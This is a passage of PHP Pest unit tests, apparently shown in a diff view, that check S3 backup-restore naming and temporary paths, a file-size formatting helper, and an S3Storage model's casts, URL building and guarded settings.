});
test('S3 container name is generated correctly', function () {
$resourceUuid = 'test-database-uuid';
$containerName = "s3-restore-{$resourceUuid}";
expect($containerName)->toBe('s3-restore-test-database-uuid');
expect($containerName)->toStartWith('s3-restore-');
});
test('S3 download directory is created correctly', function () {
$resourceUuid = 'test-database-uuid';
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
expect($downloadDir)->toBe('/tmp/s3-restore-test-database-uuid');
expect($downloadDir)->toStartWith('/tmp/s3-restore-');
});
test('cancelS3Download cleans up correctly', function () {
// Test that cleanup directory path is correct
$resourceUuid = 'test-database-uuid';
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
$containerName = "s3-restore-{$resourceUuid}";
expect($downloadDir)->toContain($resourceUuid);
expect($containerName)->toContain($resourceUuid);
});
test('S3 file path formats are handled correctly', function () {
$paths = [
'/backups/db.gz',
'backups/db.gz',
'/nested/path/to/backup.sql.gz',
'backup-2025-01-15.gz',
];
foreach ($paths as $path) {
$cleanPath = ltrim($path, '/');
expect($cleanPath)->not->toStartWith('/');
}
});
test('formatBytes helper formats file sizes correctly', function () {
// Test various file sizes
expect(formatBytes(0))->toBe('0 B');
expect(formatBytes(null))->toBe('0 B');
expect(formatBytes(1024))->toBe('1 KB');
expect(formatBytes(1048576))->toBe('1 MB');
expect(formatBytes(1073741824))->toBe('1 GB');
expect(formatBytes(1099511627776))->toBe('1 TB');
// Test with different sizes
expect(formatBytes(512))->toBe('512 B');
expect(formatBytes(2048))->toBe('2 KB');
expect(formatBytes(5242880))->toBe('5 MB');
expect(formatBytes(10737418240))->toBe('10 GB');
// Test precision
expect(formatBytes(1536, 2))->toBe('1.5 KB');
expect(formatBytes(1572864, 1))->toBe('1.5 MB');
});

View File

@@ -0,0 +1,53 @@
<?php
use App\Models\S3Storage;
test('S3Storage model has correct cast definitions', function () {
$s3Storage = new S3Storage;
$casts = $s3Storage->getCasts();
expect($casts['is_usable'])->toBe('boolean');
expect($casts['key'])->toBe('encrypted');
expect($casts['secret'])->toBe('encrypted');
});
test('S3Storage isUsable method returns is_usable attribute value', function () {
$s3Storage = new S3Storage;
// Set the attribute directly to avoid encryption
$s3Storage->setRawAttributes(['is_usable' => true]);
expect($s3Storage->isUsable())->toBeTrue();
$s3Storage->setRawAttributes(['is_usable' => false]);
expect($s3Storage->isUsable())->toBeFalse();
$s3Storage->setRawAttributes(['is_usable' => null]);
expect($s3Storage->isUsable())->toBeNull();
});
test('S3Storage awsUrl method constructs correct URL format', function () {
$s3Storage = new S3Storage;
// Set attributes without triggering encryption
$s3Storage->setRawAttributes([
'endpoint' => 'https://s3.amazonaws.com',
'bucket' => 'test-bucket',
]);
expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket');
// Test with custom endpoint
$s3Storage->setRawAttributes([
'endpoint' => 'https://minio.example.com:9000',
'bucket' => 'backups',
]);
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
});
test('S3Storage model is guarded correctly', function () {
$s3Storage = new S3Storage;
// The model should have $guarded = [] which means everything is fillable
expect($s3Storage->getGuarded())->toBe([]);
});